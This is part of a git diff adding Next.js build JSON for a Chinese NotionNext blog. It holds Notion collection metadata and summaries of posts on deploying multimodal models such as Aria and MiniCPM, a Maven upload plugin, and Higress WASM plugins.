务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"next":{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/241205-aria.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/241205-aria.json new file mode 100644 index 000000000..f716119c9 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/241205-aria.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on 